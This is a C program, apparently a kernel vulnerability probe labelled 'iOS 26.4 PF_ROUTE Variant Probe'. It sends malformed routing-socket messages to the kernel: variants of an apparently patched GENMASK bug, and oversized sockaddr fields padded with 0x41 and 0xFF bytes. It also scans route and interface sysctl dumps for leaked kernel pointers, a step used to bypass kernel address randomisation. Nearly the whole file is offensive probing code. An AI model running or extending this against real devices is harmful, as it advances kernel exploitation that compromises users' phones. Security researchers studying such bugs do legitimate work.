#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

#define RTM_VERSION  5
#define RTM_ADD      1
#define RTM_DELETE   2
#define RTM_CHANGE   3
#define RTM_GET      4
#define RTM_REDIRECT 6
#define RTM_LOCK     8
#define RTM_GET2     20
#define RTM_GET_EXT  21

#define RTA_DST      0x01
#define RTA_GATEWAY  0x02
#define RTA_NETMASK  0x04
#define RTA_GENMASK  0x08
#define RTA_IFP      0x10
#define RTA_IFA      0x20
#define RTA_AUTHOR   0x40
#define RTA_BRD      0x80

#define RTF_GATEWAY  0x2
#define RTF_HOST     0x4
#define RTF_STATIC   0x800
#define RTF_UP       0x1

struct rt_metrics {
    uint32_t rmx_locks, rmx_mtu, rmx_hopcount;
    int32_t rmx_expire;
    uint32_t rmx_recvpipe, rmx_sendpipe, rmx_ssthresh;
    uint32_t rmx_rtt, rmx_rttvar, rmx_pksent, rmx_state;
    uint32_t rmx_filler[3];
};
struct rt_msghdr {
    unsigned short rtm_msglen; unsigned char rtm_version; unsigned char rtm_type;
    unsigned short rtm_index; int rtm_flags; int rtm_addrs;
    int rtm_pid; int rtm_seq; int rtm_errno;
    int rtm_use; unsigned int rtm_inits; struct rt_metrics rtm_rmx;
};

static int send_rt(int type, int flags, int addrs, void *sas, int sa_len, const char *tag) {
    int fd = socket(PF_ROUTE, SOCK_RAW, 0);
    if (fd < 0) { printf("[%s] socket fail e=%d\n", tag, errno); return -1; }
    char buf[2048]; memset(buf, 0, sizeof(buf));
    struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
    rtm->rtm_type = type;
    rtm->rtm_version = RTM_VERSION;
    rtm->rtm_flags = flags;
    rtm->rtm_seq = 1;
    rtm->rtm_addrs = addrs;
    memcpy(buf + sizeof(*rtm), sas, sa_len);
    rtm->rtm_msglen = sizeof(*rtm) + sa_len;
    ssize_t s = write(fd, buf, rtm->rtm_msglen);
    printf("[%s] type=%d flags=0x%x addrs=0x%x write=%zd e=%d",
        tag, type, flags, addrs, s, s<0?errno:0);
    if (s > 0) {
        struct timeval tv = {0, 200000};
        setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
        ssize_t r = read(fd, buf, sizeof(buf));
        if (r > 0) {
            struct rt_msghdr *resp = (struct rt_msghdr *)buf;
            printf(" read=%zd type=%u err=%d addrs=0x%x",
                r, resp->rtm_type, resp->rtm_errno, resp->rtm_addrs);
        }
    }
    printf("\n");
    close(fd);
    return s < 0 ? errno : 0;
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGPIPE, SIG_IGN);
    printf("=== iOS 26.4 PF_ROUTE Variant Probe ===\n\n");

    struct sockaddr_in sin_dst, sin_gw, sin_mask, sin_gm;
    memset(&sin_dst, 0, sizeof(sin_dst));
    sin_dst.sin_family = AF_INET; sin_dst.sin_len = sizeof(sin_dst);
    sin_dst.sin_addr.s_addr = inet_addr("8.8.8.8");
    memset(&sin_gw, 0, sizeof(sin_gw));
    sin_gw.sin_family = AF_INET; sin_gw.sin_len = sizeof(sin_gw);
    sin_gw.sin_addr.s_addr = inet_addr("192.168.1.1");
    memset(&sin_mask, 0, sizeof(sin_mask));
    sin_mask.sin_family = AF_INET; sin_mask.sin_len = sizeof(sin_mask);
    sin_mask.sin_addr.s_addr = inet_addr("255.255.255.0");
    memset(&sin_gm, 0, sizeof(sin_gm));
    sin_gm.sin_family = AF_INET; sin_gm.sin_len = sizeof(sin_gm);
    sin_gm.sin_addr.s_addr = inet_addr("255.255.0.0");

    printf("--- 1. RTM_GET + GENMASK (original, should be patched) ---\n");
    {
        char sa[32]; int off = 0;
        memcpy(sa+off, &sin_dst, 16); off += 16;
        memcpy(sa+off, &sin_gm, 16); off += 16;
        send_rt(RTM_GET, 0, 0x09, sa, off, "GET+GM");
    }

    printf("\n--- 2. RTM_ADD + GENMASK (different handler!) ---\n");
    {
        char sa[64]; int off = 0;
        memcpy(sa+off, &sin_dst, 16); off += 16;
        memcpy(sa+off, &sin_gw, 16); off += 16;
        memcpy(sa+off, &sin_mask, 16); off += 16;
        memcpy(sa+off, &sin_gm, 16); off += 16;
        send_rt(RTM_ADD, RTF_GATEWAY|RTF_STATIC, 0x0F, sa, off, "ADD+GM");
    }

    printf("\n--- 3. RTM_CHANGE + GENMASK ---\n");
    {
        char sa[64]; int off = 0;
        memcpy(sa+off, &sin_dst, 16); off += 16;
        memcpy(sa+off, &sin_gw, 16); off += 16;
        memcpy(sa+off, &sin_mask, 16); off += 16;
        memcpy(sa+off, &sin_gm, 16); off += 16;
        send_rt(RTM_CHANGE, 0, 0x0F, sa, off, "CHG+GM");
    }

    printf("\n--- 4. RTM_LOCK + GENMASK ---\n");
    {
        char sa[32]; int off = 0;
        memcpy(sa+off, &sin_dst, 16); off += 16;
        memcpy(sa+off, &sin_gm, 16); off += 16;
        send_rt(RTM_LOCK, 0, 0x09, sa, off, "LOCK+GM");
    }

    printf("\n--- 5. Oversized sockaddr on NON-genmask fields ---\n");
    {
        char sa[512]; memset(sa, 0, sizeof(sa));
        memcpy(sa, &sin_dst, 16);
        int off = 16;
        sa[off] = 128; sa[off+1] = AF_INET;
        memset(sa+off+2, 0x41, 126);
        off += 128;
        send_rt(RTM_GET, 0, 0x03, sa, off, "GET+bigGW");
    }

    printf("\n--- 6. Oversized NETMASK ---\n");
    {
        char sa[512]; memset(sa, 0, sizeof(sa));
        memcpy(sa, &sin_dst, 16);
        int off = 16;
        memcpy(sa+off, &sin_gw, 16); off += 16;
        sa[off] = 128; sa[off+1] = AF_INET;
        memset(sa+off+2, 0xFF, 126);
        off += 128;
        send_rt(RTM_GET, 0, 0x07, sa, off, "GET+bigMASK");
    }

    printf("\n--- 7. sysctl NET_RT_DUMP (different code path to serialize routes) ---\n");
    {
        int mib[6] = {4, 17, 0, AF_INET, 1, 0};
        size_t needed = 0;
        int r = sysctl(mib, 6, NULL, &needed, NULL, 0);
        printf("[RT_DUMP] sysctl size query: ret=%d needed=%zu e=%d\n", r, needed, r<0?errno:0);
        if (r == 0 && needed > 0 && needed < 1024*1024) {
            char *rbuf = malloc(needed);
            r = sysctl(mib, 6, rbuf, &needed, NULL, 0);
            printf("[RT_DUMP] sysctl data: ret=%d got=%zu\n", r, needed);
            if (r == 0 && needed > 0) {
                int nroutes = 0;
                char *p = rbuf, *end = rbuf + needed;
                while (p < end) {
                    struct rt_msghdr *rm = (struct rt_msghdr *)p;
                    if (rm->rtm_msglen == 0) break;
                    nroutes++;
                    if (rm->rtm_addrs & 0x08) {
                        printf("  route %d has GENMASK! addrs=0x%x\n", nroutes, rm->rtm_addrs);
                    }
                    p += rm->rtm_msglen;
                }
                printf("  %d routes dumped, checking for kptrs...\n", nroutes);
                int kptrs = 0;
                for (size_t i = 0; i+7 < needed; i += 4) {
                    uint64_t v = *(uint64_t*)(rbuf+i);
                    if ((v >> 40) == 0xffffff || (v >> 40) == 0xfffffe) {
                        printf("  KPTR at offset %zu: 0x%016llx\n", i, v);
                        if (++kptrs >= 5) break;
                    }
                }
                if (kptrs == 0) printf("  no kernel pointers found\n");
            }
            free(rbuf);
        }
    }

    printf("\n--- 8. sysctl NET_RT_DUMP2 ---\n");
    {
        int mib[6] = {4, 17, 0, AF_INET, 7, 0};
        size_t needed = 0;
        int r = sysctl(mib, 6, NULL, &needed, NULL, 0);
        printf("[RT_DUMP2] ret=%d needed=%zu e=%d\n", r, needed, r<0?errno:0);
    }

    printf("\n--- 9. sysctl NET_RT_IFLIST2 ---\n");
    {
        int mib[6] = {4, 17, 0, 0, 6, 0};
        size_t needed = 0;
        int r = sysctl(mib, 6, NULL, &needed, NULL, 0);
        printf("[RT_IFLIST2] ret=%d needed=%zu e=%d\n", r, needed, r<0?errno:0);
        if (r == 0 && needed > 0 && needed < 1024*1024) {
            char *rbuf = malloc(needed);
            r = sysctl(mib, 6, rbuf, &needed, NULL, 0);
            printf("[RT_IFLIST2] got %zu bytes\n", needed);
            int kptrs = 0;
            for (size_t i = 0; i+7 < needed; i += 4) {
                uint64_t v = *(uint64_t*)(rbuf+i);
                if ((v >> 40) == 0xffffff || (v >> 40) == 0xfffffe) {
                    printf("  KPTR at offset %zu: 0x%016llx\n", i, v);
                    if (++kptrs >= 5) break;
                }
            }
            if (kptrs == 0) printf("  no kernel pointers\n");
            free(rbuf);
        }
    }

    printf("\n--- 10. RTM_GET with maximum sockaddrs and edge flags ---\n");
    {
        char sa[256]; memset(sa, 0, sizeof(sa));
        int off = 0;
        for (int i = 0; i < 7; i++) {
            struct sockaddr_in *s = (struct sockaddr_in *)(sa + off);
            s->sin_family = AF_INET; s->sin_len = 16;
            s->sin_addr.s_addr = htonl(0x01010100 + i);
            off += 16;
        }
        send_rt(RTM_GET, 0, 0xF7, sa, off, "GET+ALL_NO_GM");
    }

    printf("\n=== Done ===\n");
    return 0;
}
